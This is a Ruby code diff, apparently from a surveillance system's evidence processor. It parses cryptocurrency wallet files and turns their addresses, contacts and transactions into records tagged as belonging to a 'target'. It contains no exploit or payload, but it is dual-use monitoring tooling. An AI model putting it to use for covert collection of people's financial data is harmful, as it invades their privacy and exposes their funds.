105
|
+
info[:data][:program] = coin
|
|
106
|
+
info[:data][:type] = :peer
|
|
107
|
+
info[:data][:name] = k[:name]
|
|
108
|
+
info[:data][:contact] = k[:address]
|
|
109
|
+
info[:data][:handle] = k[:address]
|
|
110
|
+
yield info if block_given?
|
|
111
|
+
end
|
|
112
|
+
|
|
113
|
+
cw.keys.each do |k|
|
|
114
|
+
trace :debug, "WALLET: key #{k.inspect}"
|
|
115
|
+
info = Hash[address_info]
|
|
116
|
+
info[:data] = {}
|
|
117
|
+
info[:data][:program] = coin
|
|
118
|
+
info[:data][:type] = :target
|
|
119
|
+
info[:data][:name] = k[:name]
|
|
120
|
+
info[:data][:contact] = k[:address]
|
|
121
|
+
info[:data][:handle] = k[:address]
|
|
122
|
+
yield info if block_given?
|
|
123
|
+
end
|
|
124
|
+
|
|
125
|
+
# output the transactions
|
|
126
|
+
cw.transactions.each do |tx|
|
|
127
|
+
trace :debug, "TX: #{tx[:from]} #{tx[:to]} #{tx[:versus]} #{tx[:amount]} #{tx[:id]}"
|
|
128
|
+
tx_info = Hash[common_info]
|
|
129
|
+
tx_info[:data] = Hash.new
|
|
130
|
+
tx_info[:data][:type] = :tx
|
|
131
|
+
tx_info[:da] = tx[:time]
|
|
132
|
+
tx_info[:data][:id] = tx[:id]
|
|
133
|
+
# TODO: implement multiple from address, for now we take only the first address
|
|
134
|
+
tx_info[:data][:from] = tx[:from].first
|
|
135
|
+
tx_info[:data][:rcpt] = tx[:to]
|
|
136
|
+
tx_info[:data][:currency] = coin
|
|
137
|
+
tx_info[:data][:amount] = tx[:amount]
|
|
138
|
+
tx_info[:data][:incoming] = (tx[:versus].eql? :in) ? 1 : 0
|
|
139
|
+
yield tx_info if block_given?
|
|
140
|
+
end
|
|
141
|
+
|
|
142
|
+
:delete_raw
|
|
143
|
+
end
|
|
144
|
+
end
|
|
145
|
+
|
|
146
|
+
module B58Encode
|
|
147
|
+
extend self
|
|
148
|
+
|
|
149
|
+
@@__b58chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
|
|
150
|
+
@@__b58base = @@__b58chars.bytesize
|
|
151
|
+
|
|
152
|
+
def self.encode(v)
|
|
153
|
+
# encode v, which is a string of bytes, to base58.
|
|
154
|
+
|
|
155
|
+
long_value = 0
|
|
156
|
+
v.chars.to_a.reverse.each_with_index do |c, i|
|
|
157
|
+
long_value += (256**i) * c.ord
|
|
158
|
+
end
|
|
159
|
+
|
|
160
|
+
result = ''
|
|
161
|
+
while long_value >= @@__b58base do
|
|
162
|
+
div, mod = long_value.divmod(@@__b58base)
|
|
163
|
+
result = @@__b58chars[mod] + result
|
|
164
|
+
long_value = div
|
|
165
|
+
end
|
|
166
|
+
result = @@__b58chars[long_value] + result
|
|
167
|
+
|
|
168
|
+
nPad = 0
|
|
169
|
+
v.chars.to_a.each do |c|
|
|
170
|
+
c == "\0" ? nPad += 1 : break
|
|
171
|
+
end
|
|
172
|
+
|
|
173
|
+
return (@@__b58chars[0] * nPad) + result
|
|
174
|
+
end
|
|
175
|
+
|
|
176
|
+
def self.decode(v, length)
|
|
177
|
+
#decode v into a string of len bytes
|
|
178
|
+
|
|
179
|
+
long_value = 0
|
|
180
|
+
v.chars.to_a.reverse.each_with_index do |c, i|
|
|
181
|
+
long_value += @@__b58chars.index(c) * (@@__b58base**i)
|
|
182
|
+
end
|
|
183
|
+
|
|
184
|
+
result = ''
|
|
185
|
+
while long_value >= 256 do
|
|
186
|
+
div, mod = long_value.divmod(256)
|
|
187
|
+
result = mod.chr + result
|
|
188
|
+
long_value = div
|
|
189
|
+
end
|
|
190
|
+
result = long_value.chr + result
|
|
191
|
+
|
|
192
|
+
nPad = 0
|
|
193
|
+
v.chars.to_a.each do |c|
|
|
194
|
+
c == @@__b58chars[0] ? nPad += 1 : break
|
|
195
|
+
end
|
|
196
|
+
result = 0.chr * nPad + result
|
|
197
|
+
|
|
198
|
+
if !length.nil? and result.size != length
|
|
199
|
+
return nil
|
|
200
|
+
end
|
|
201
|
+
|
|
202
|
+
return result
|
|
203
|
+
end
|
|
204
|
+
|
|
205
|
+
def hash_160(public_key)
|
|
206
|
+
h1 = Digest::SHA256.new.digest(public_key)
|
|
207
|
+
h2 = Digest::RMD160.new.digest(h1)
|
|
208
|
+
return h2
|
|
209
|
+
end
|
|
210
|
+
|
|
211
|
+
def public_key_to_bc_address(public_key, version = 0)
|
|
212
|
+
h160 = hash_160(public_key)
|
|
213
|
+
return hash_160_to_bc_address(h160, version)
|
|
214
|
+
end
|
|
215
|
+
|
|
216
|
+
def hash_160_to_bc_address(h160, version = 0)
|
|
217
|
+
vh160 = version.chr + h160
|
|
218
|
+
h3 = Digest::SHA256.new.digest(Digest::SHA256.new.digest(vh160))
|
|
219
|
+
addr = vh160 + h3[0..3]
|
|
220
|
+
return self.encode(addr)
|
|
221
|
+
end
|
|
222
|
+
|
|
223
|
+
def bc_address_to_hash_160(addr)
|
|
224
|
+
bytes = self.decode(addr, 25)
|
|
225
|
+
return bytes[1..20]
|
|
226
|
+
end
|
|
227
|
+
end
|
|
228
|
+
|
|
229
|
+
class BCDataStream
|
|
230
|
+
|
|
231
|
+
attr_reader :read_cursor
|
|
232
|
+
attr_reader :buffer
|
|
233
|
+
|
|
234
|
+
def initialize(string)
|
|
235
|
+
@buffer = string
|
|
236
|
+
@read_cursor = 0
|
|
237
|
+
end
|
|
238
|
+
|
|
239
|
+
def read_string
|
|
240
|
+
# Strings are encoded depending on length:
|
|
241
|
+
# 0 to 252 : 1-byte-length followed by bytes (if any)
|
|
242
|
+
# 253 to 65,535 : byte'253' 2-byte-length followed by bytes
|
|
243
|
+
# 65,536 to 4,294,967,295 : byte '254' 4-byte-length followed by bytes
|
|
244
|
+
# greater than 4,294,967,295 : byte '255' 8-byte-length followed by bytes of string
|
|
245
|
+
|
|
246
|
+
if @buffer.eql? nil
|
|
247
|
+
raise "not initialized"
|
|
248
|
+
end
|
|
249
|
+
|
|
250
|
+
begin
|
|
251
|
+
length = self.read_compact_size
|
|
252
|
+
rescue Exception => e
|
|
253
|
+
raise "attempt to read past end of buffer: #{e.message}"
|
|
254
|
+
end
|
|
255
|
+
|
|
256
|
+
return self.read_bytes(length)
|
|
257
|
+
end
|
|
258
|
+
|
|
259
|
+
def read_uint32; return _read_num('L', 4); end
|
|
260
|
+
def read_int32; return _read_num('l', 4); end
|
|
261
|
+
def read_uint64; return _read_num('Q', 8); end
|
|
262
|
+
def read_int64; return _read_num('q', 8); end
|
|
263
|
+
def read_boolean; return _read_num('c', 1) == 1; end
|
|
264
|
+
|
|
265
|
+
def read_bytes(length)
|
|
266
|
+
result = @buffer[@read_cursor..@read_cursor+length-1]
|
|
267
|
+
@read_cursor += length
|
|
268
|
+
return result
|
|
269
|
+
rescue Exception => e
|
|
270
|
+
raise "attempt to read past end of buffer: #{e.message}"
|
|
271
|
+
end
|
|
272
|
+
|
|
273
|
+
def read_compact_size
|
|
274
|
+
size = @buffer[@read_cursor].ord
|
|
275
|
+
@read_cursor += 1
|
|
276
|
+
if size == 253
|
|
277
|
+
size = _read_num('S', 2)
|
|
278
|
+
elsif size == 254
|
|
279
|
+
size = _read_num('I', 4)
|
|
280
|
+
elsif size == 255
|
|
281
|
+
size = _read_num('Q', 8)
|
|
282
|
+
end
|
|
283
|
+
|
|
284
|
+
return size
|
|
285
|
+
end
|
|
286
|
+
|
|
287
|
+
def _read_num(format, size)
|
|
288
|
+
val = @buffer[@read_cursor..@read_cursor+size].unpack(format).first
|
|
289
|
+
@read_cursor += size
|
|
290
|
+
return val
|
|
291
|
+
end
|
|
292
|
+
|
|
293
|
+
end
|
|
294
|
+
|
|
295
|
+
class CoinWallet
|
|
296
|
+
|
|
297
|
+
attr_reader :count, :version, :default_key, :kinds, :seed, :balance
|
|
298
|
+
|
|
299
|
+
def initialize(file, kind)
|
|
300
|
+
@seed = kind_to_value(kind)
|
|
301
|
+
@kinds = Set.new
|
|
302
|
+
@count = 0
|
|
303
|
+
@version = :unknown
|
|
304
|
+
@keys = []
|
|
305
|
+
@default_key = nil
|
|
306
|
+
@addressbook = []
|
|
307
|
+
@transactions = []
|
|
308
|
+
@encrypted = false
|
|
309
|
+
@balance = 0
|
|
310
|
+
|
|
311
|
+
load_db(file)
|
|
312
|
+
rescue Exception => e
|
|
313
|
+
raise "Cannot load Wallet: #{e.message}"
|
|
314
|
+
end
|
|
315
|
+
|
|
316
|
+
def encrypted?
|
|
317
|
+
@encrypted
|
|
318
|
+
end
|
|
319
|
+
|
|
320
|
+
def keys(type = :public)
|
|
321
|
+
return @keys if type.eql? :all
|
|
322
|
+
|
|
323
|
+
@addressbook.select {|k| k[:local].eql? true}.collect {|x| x.reject {|v| v == :local}}
|
|
324
|
+
end
|
|
325
|
+
|
|
326
|
+
def addressbook(local = nil)
|
|
327
|
+
@addressbook.select {|k| k[:local].eql? local}.collect {|x| x.reject {|v| v == :local}}
|
|
328
|
+
end
|
|
329
|
+
|
|
330
|
+
def transactions
|
|
331
|
+
@transactions
|
|
332
|
+
end
|
|
333
|
+
|
|
334
|
+
def own?(key)
|
|
335
|
+
@keys.any? {|k| k[:address].eql? key}
|
|
336
|
+
end
|
|
337
|
+
|
|
338
|
+
def wallet_address?(address)
|
|
339
|
+
keys.map { |k| k[:address] }.include?(address)
|
|
340
|
+
end
|
|
341
|
+
|
|
342
|
+
private
|
|
343
|
+
|
|
344
|
+
def kind_to_value(kind)
|
|
345
|
+
case kind
|
|
346
|
+
when :bitcoin
|
|
347
|
+
0
|
|
348
|
+
when :litecoin
|
|
349
|
+
48
|
|
350
|
+
when :feathercoin
|
|
351
|
+
14
|
|
352
|
+
when :darkcoin
|
|
353
|
+
111
|
|
354
|
+
when :namecoin
|
|
355
|
+
52
|
|
356
|
+
end
|
|
357
|
+
end
|
|
358
|
+
|
|
359
|
+
def load_db(file)
|
|
360
|
+
env = SBDB::Env.new '.', SBDB::CREATE | SBDB::Env::INIT_TRANSACTION
|
|
361
|
+
db = env.btree file, 'main', :flags => SBDB::RDONLY
|
|
362
|
+
@count = db.count
|
|
363
|
+
|
|
364
|
+
load_entries(db)
|
|
365
|
+
|
|
366
|
+
db.close
|
|
367
|
+
env.close
|
|
368
|
+
|
|
369
|
+
# remove temporary env files
|
|
370
|
+
9.times {|i| FileUtils.rm_rf "__db.00#{i}" }
|
|
371
|
+
end
|
|
372
|
+
|
|
373
|
+
def load_entries(db)
|
|
374
|
+
db.each do |k,v|
|
|
375
|
+
tuple = parse_key_value(k, v)
|
|
376
|
+
next unless tuple
|
|
377
|
+
|
|
378
|
+
@kinds << tuple[:type]
|
|
379
|
+
|
|
380
|
+
case tuple[:type]
|
|
381
|
+
when :version
|
|
382
|
+
@version = tuple[:dump][:version]
|
|
383
|
+
when :defaultkey
|
|
384
|
+
@default_key = tuple[:dump]
|
|
385
|
+
when :key, :wkey, :ckey
|
|
386
|
+
@keys << tuple[:dump]
|
|
387
|
+
@encrypted = true if tuple[:type].eql? :ckey
|
|
388
|
+
when :name
|
|
389
|
+
tuple[:dump][:local] = true if @keys.any? {|k| k[:address].eql? tuple[:dump][:address] }
|
|
390
|
+
@addressbook << tuple[:dump]
|
|
391
|
+
when :tx
|
|
392
|
+
@transactions << tuple[:dump]
|
|
393
|
+
end
|
|
394
|
+
end
|
|
395
|
+
|
|
396
|
+
# we have finished parsing the whole wallet
|
|
397
|
+
# we have all the addresses, we can now fill the :own properties in the out transactions
|
|
398
|
+
# thus we can calculate the real amount of the transaction (out - change + fee)
|
|
399
|
+
recalculate_tx
|
|
400
|
+
end
|
|
401
|
+
|
|
402
|
+
def parse_key_value(key, value)
|
|
403
|
+
|
|
404
|
+
kds = BCDataStream.new(key)
|
|
405
|
+
vds = BCDataStream.new(value)
|
|
406
|
+
type = kds.read_string
|
|
407
|
+
|
|
408
|
+
hash = {}
|
|
409
|
+
case type
|
|
410
|
+
when 'version'
|
|
411
|
+
hash[:version] = vds.read_uint32
|
|
412
|
+
when 'name'
|
|
413
|
+
hash[:address] = kds.read_string
|
|
414
|
+
hash[:name] = vds.read_string
|
|
415
|
+
when 'defaultkey'
|
|
416
|
+
key = vds.read_bytes(vds.read_compact_size)
|
|
417
|
+
#hash[:key] = key
|
|
418
|
+
hash[:address] = B58Encode.public_key_to_bc_address(key, @seed)
|
|
419
|
+
when 'key'
|
|
420
|
+
key = kds.read_bytes(kds.read_compact_size)
|
|
421
|
+
#hash[:key] = key
|
|
422
|
+
hash[:address] = B58Encode.public_key_to_bc_address(key, @seed)
|
|
423
|
+
#hash['privkey'] = vds.read_bytes(vds.read_compact_size)
|
|
424
|
+
when "wkey"
|
|
425
|
+
key = kds.read_bytes(kds.read_compact_size)
|
|
426
|
+
#hash[:key] = key
|
|
427
|
+
hash[:address] = B58Encode.public_key_to_bc_address(key, @seed)
|
|
428
|
+
#d['private_key'] = vds.read_bytes(vds.read_compact_size)
|
|
429
|
+
#d['created'] = vds.read_int64
|
|
430
|
+
#d['expires'] = vds.read_int64
|
|
431
|
+
#d['comment'] = vds.read_string
|
|
432
|
+
when "ckey"
|
|
433
|
+
key = kds.read_bytes(kds.read_compact_size)
|
|
434
|
+
#hash[:key] = key
|
|
435
|
+
hash[:address] = B58Encode.public_key_to_bc_address(key, @seed)
|
|
436
|
+
#hash['crypted_key'] = vds.read_bytes(vds.read_compact_size)
|
|
437
|
+
when 'tx'
|
|
438
|
+
hash.merge! parse_tx(kds, vds)
|
|
439
|
+
end
|
|
440
|
+
|
|
441
|
+
return {type: type.to_sym, dump: hash}
|
|
442
|
+
end
|
|
443
|
+
|
|
444
|
+
def parse_tx(kds, vds)
|
|
445
|
+
hash = {}
|
|
446
|
+
id = kds.read_bytes(32)
|
|
447
|
+
|
|
448
|
+
ctx = CoinTransaction.new(id, vds, self.seed)
|
|
449
|
+
|
|
450
|
+
hash[:id] = ctx.id
|
|
451
|
+
hash[:from] = ctx.from
|
|
452
|
+
hash[:to] = ctx.to
|
|
453
|
+
hash[:amount] = ctx.amount
|
|
454
|
+
hash[:time] = ctx.time
|
|
455
|
+
hash[:versus] = ctx.versus
|
|
456
|
+
hash[:in] = ctx.in
|
|
457
|
+
hash[:out] = ctx.out
|
|
458
|
+
|
|
459
|
+
return hash
|
|
460
|
+
end
|
|
461
|
+
|
|
462
|
+
def recalculate_tx
|
|
463
|
+
@transactions.each do |tx|
|
|
464
|
+
# fill in the :own properties which indicate the amount is for an address inside the wallet
|
|
465
|
+
tx[:out].each { |t| t[:own] = own?(t[:address]) }
|
|
466
|
+
# fix the "fromMe" that is incorrect if the wallet was rebuilt with -rescan
|
|
467
|
+
tx[:versus] = (tx[:out].find { |t| t[:own] and wallet_address?(t[:address]) }) ? :in : :out
|
|
468
|
+
end
|
|
469
|
+
|
|
470
|
+
@transactions.each do |tx|
|
|
471
|
+
tx[:from] = Set.new
|
|
472
|
+
|
|
473
|
+
# calculate the amounts based on the direction (incoming tx)
|
|
474
|
+
if tx[:versus].eql? :in
|
|
475
|
+
tx[:amount] = tx[:out].select {|x| x[:own]}.first[:value]
|
|
476
|
+
tx[:to] = tx[:out].select {|x| x[:own]}.first[:address]
|
|
477
|
+
|
|
478
|
+
# if the source is an hash of all zeroes, it was mined directly
|
|
479
|
+
if tx[:in].size.eql? 1 and tx[:in].first[:prevout_hash].eql? "0"*64
|
|
480
|
+
tx[:from] << "MINED BLOCK"
|
|
481
|
+
end
|
|
482
|
+
|
|
483
|
+
# TODO: calculate the source from the past tx
|
|
484
|
+
#tx[:from] = ???
|
|
485
|
+
|
|
486
|
+
@balance += tx[:amount]
|
|
487
|
+
end
|
|
488
|
+
|
|
489
|
+
# calculate the amounts based on the direction (outgoing tx)
|
|
490
|
+
if tx[:versus].eql? :out
|
|
491
|
+
tx[:amount] = tx[:out].select {|x| not x[:own]}.first[:value]
|
|
492
|
+
tx[:to] = tx[:out].select {|x| not x[:own]}.first[:address]
|
|
493
|
+
|
|
494
|
+
# TODO: Remove once multiple addresses will be supported.
|
|
495
|
+
# Force the first element of the "from" array to the first public wallet address.
|
|
496
|
+
tx[:from] << keys[0][:address]
|
|
497
|
+
|
|
498
|
+
# calculate the fee based on the in and out tx
|
|
499
|
+
if tx[:in].size > 0
|
|
500
|
+
tx[:in].each do |txin|
|
|
501
|
+
@transactions.each do |prev_tx|
|
|
502
|
+
if prev_tx[:id] == txin[:prevout_hash]
|
|
503
|
+
txin.merge!(prev_tx[:out][txin[:prevout_index]])
|
|
504
|
+
tx[:from] << prev_tx[:out][txin[:prevout_index]][:address]
|
|
505
|
+
end
|
|
506
|
+
end
|
|
507
|
+
end
|
|
508
|
+
amount_in = tx[:in].inject(0) {|tot, y| tot += y[:value]}
|
|
509
|
+
amount_out = tx[:out].inject(0) {|tot, y| tot += y[:value]}
|
|
510
|
+
tx[:fee] = (amount_in - amount_out).round(8)
|
|
511
|
+
end
|
|
512
|
+
|
|
513
|
+
@balance -= (tx[:amount] + tx[:fee])
|
|
514
|
+
end
|
|
515
|
+
|
|
516
|
+
# return an array instead of set
|
|
517
|
+
tx[:from] = tx[:from].to_a
|
|
518
|
+
end
|
|
519
|
+
|
|
520
|
+
@balance = @balance.round(8)
|
|
521
|
+
end
|
|
522
|
+
|
|
523
|
+
end
|
|
524
|
+
|
|
525
|
+
class CoinTransaction
|
|
526
|
+
|
|
527
|
+
attr_reader :id, :from, :to, :amount, :time, :versus, :in, :out
|
|
528
|
+
|
|
529
|
+
def initialize(id, vds, seed)
|
|
530
|
+
@id = id.reverse.unpack("H*").first
|
|
531
|
+
@seed = seed
|
|
532
|
+
@in = []
|
|
533
|
+
@out = []
|
|
534
|
+
|
|
535
|
+
tx = parse_tx(vds)
|
|
536
|
+
|
|
537
|
+
calculate_tx(tx)
|
|
538
|
+
|
|
539
|
+
rescue Exception => e
|
|
540
|
+
raise "Cannot parse Transaction: #{e.message}"
|
|
541
|
+
end
|
|
542
|
+
|
|
543
|
+
def calculate_tx(tx)
|
|
544
|
+
tx['txIn'].each do |t|
|
|
545
|
+
itx = {}
|
|
546
|
+
# search in the previous hash repo
|
|
547
|
+
itx[:prevout_hash] = t['prevout_hash'].reverse.unpack('H*').first
|
|
548
|
+
itx[:prevout_index] = t['prevout_n']
|
|
549
|
+
@in << itx
|
|
550
|
+
end
|
|
551
|
+
|
|
552
|
+
tx['txOut'].each do |t|
|
|
553
|
+
next unless t['value']
|
|
554
|
+
value = t['value']/1.0e8
|
|
555
|
+
|
|
556
|
+
address = extract_pubkey(t['scriptPubKey'])
|
|
557
|
+
@out << {value: value, address: address} if address
|
|
558
|
+
end
|
|
559
|
+
|
|
560
|
+
@time = tx['timeReceived']
|
|
561
|
+
@versus = (tx['fromMe'] == true) ? :out : :in
|
|
562
|
+
end
|
|
563
|
+
|
|
564
|
+
def parse_tx(vds)
|
|
565
|
+
h = parse_merkle_tx(vds)
|
|
566
|
+
n_vtxPrev = vds.read_compact_size
|
|
567
|
+
h['vtxPrev'] = []
|
|
568
|
+
(1..n_vtxPrev).each { h['vtxPrev'] << parse_merkle_tx(vds) }
|
|
569
|
+
|
|
570
|
+
h['mapValue'] = {}
|
|
571
|
+
n_mapValue = vds.read_compact_size
|
|
572
|
+
(1..n_mapValue).each do
|
|
573
|
+
key = vds.read_string
|
|
574
|
+
value = vds.read_string
|
|
575
|
+
h['mapValue'][key] = value
|
|
576
|
+
end
|
|
577
|
+
|
|
578
|
+
n_orderForm = vds.read_compact_size
|
|
579
|
+
h['orderForm'] = []
|
|
580
|
+
(1..n_orderForm).each do
|
|
581
|
+
first = vds.read_string
|
|
582
|
+
second = vds.read_string
|
|
583
|
+
h['orderForm'] << [first, second]
|
|
584
|
+
end
|
|
585
|
+
|
|
586
|
+
h['fTimeReceivedIsTxTime'] = vds.read_uint32
|
|
587
|
+
h['timeReceived'] = vds.read_uint32
|
|
588
|
+
h['fromMe'] = vds.read_boolean
|
|
589
|
+
h['spent'] = vds.read_boolean
|
|
590
|
+
|
|
591
|
+
return h
|
|
592
|
+
end
|
|
593
|
+
|
|
594
|
+
def parse_merkle_tx(vds)
|
|
595
|
+
h = parse_transaction(vds)
|
|
596
|
+
h['hashBlock'] = vds.read_bytes(32)
|
|
597
|
+
n_merkleBranch = vds.read_compact_size
|
|
598
|
+
h['merkleBranch'] = vds.read_bytes(32*n_merkleBranch)
|
|
599
|
+
h['nIndex'] = vds.read_int32
|
|
600
|
+
return h
|
|
601
|
+
end
|
|
602
|
+
|
|
603
|
+
def parse_transaction(vds)
|
|
604
|
+
h = {}
|
|
605
|
+
start_pos = vds.read_cursor
|
|
606
|
+
h['version'] = vds.read_int32
|
|
607
|
+
|
|
608
|
+
n_vin = vds.read_compact_size
|
|
609
|
+
h['txIn'] = []
|
|
610
|
+
(1..n_vin).each { h['txIn'] << parse_TxIn(vds) }
|
|
611
|
+
|
|
612
|
+
n_vout = vds.read_compact_size
|
|
613
|
+
h['txOut'] = []
|
|
614
|
+
(1..n_vout).each { h['txOut'] << parse_TxOut(vds) }
|
|
615
|
+
|
|
616
|
+
h['lockTime'] = vds.read_uint32
|
|
617
|
+
h['__data__'] = vds.buffer[start_pos..vds.read_cursor-1]
|
|
618
|
+
return h
|
|
619
|
+
end
|
|
620
|
+
|
|
621
|
+
def parse_TxIn(vds)
|
|
622
|
+
h = {}
|
|
623
|
+
h['prevout_hash'] = vds.read_bytes(32)
|
|
624
|
+
h['prevout_n'] = vds.read_uint32
|
|
625
|
+
h['scriptSig'] = vds.read_bytes(vds.read_compact_size)
|
|
626
|
+
h['sequence'] = vds.read_uint32
|
|
627
|
+
return h
|
|
628
|
+
end
|
|
629
|
+
|
|
630
|
+
def parse_TxOut(vds)
|
|
631
|
+
h = {}
|
|
632
|
+
h['value'] = vds.read_int64
|
|
633
|
+
h['scriptPubKey'] = vds.read_bytes(vds.read_compact_size)
|
|
634
|
+
return h
|
|
635
|
+
end
|
|
636
|
+
|
|
637
|
+
def extract_pubkey(bytes)
|
|
638
|
+
# here we should parse the OPCODES and check them, but we are lazy
|
|
639
|
+
# and we fake the full parsing... :)
|
|
640
|
+
|
|
641
|
+
address = nil
|
|
642
|
+
|
|
643
|
+
case bytes.bytesize
|
|
644
|
+
# TODO: implement other opcodes
|
|
645
|
+
when 132
|
|
646
|
+
# non-generated TxIn transactions push a signature
|
|
647
|
+
# (seventy-something bytes) and then their public key
|
|
648
|
+
# (33 or 65 bytes) onto the stack:
|
|
649
|
+
when 67
|
|
650
|
+
# The Genesis Block, self-payments, and pay-by-IP-address payments look like:
|
|
651
|
+
# 65 BYTES:... CHECKSIG
|
|
652
|
+
when 25
|
|
653
|
+
# Pay-by-Bitcoin-address TxOuts look like:
|
|
654
|
+
# DUP HASH160 20 BYTES:... EQUALVERIFY CHECKSIG
|
|
655
|
+
# [ OP_DUP, OP_HASH160, OP_PUSHDATA4, OP_EQUALVERIFY, OP_CHECKSIG ]
|
|
656
|
+
op_prefix = bytes[0..2]
|
|
657
|
+
op_suffix = bytes[-2..-1]
|
|
658
|
+
|
|
659
|
+
if op_prefix.eql? "\x76\xa9\x14".force_encoding('ASCII-8BIT') and
|
|
660
|
+
op_suffix.eql? "\x88\xac".force_encoding('ASCII-8BIT')
|
|
661
|
+
address = B58Encode.hash_160_to_bc_address(bytes[3..-3], @seed)
|
|
662
|
+
end
|
|
663
|
+
when 23
|
|
664
|
+
# BIP16 TxOuts look like:
|
|
665
|
+
# HASH160 20 BYTES:... EQUAL
|
|
666
|
+
end
|
|
667
|
+
|
|
668
|
+
return address
|
|
669
|
+
rescue
|
|
670
|
+
end
|
|
671
|
+
|
|
672
|
+
end
|
|
673
|
+
|
|
674
|
+
|
|
675
|
+
|
|
676
|
+
end # ::RCS
|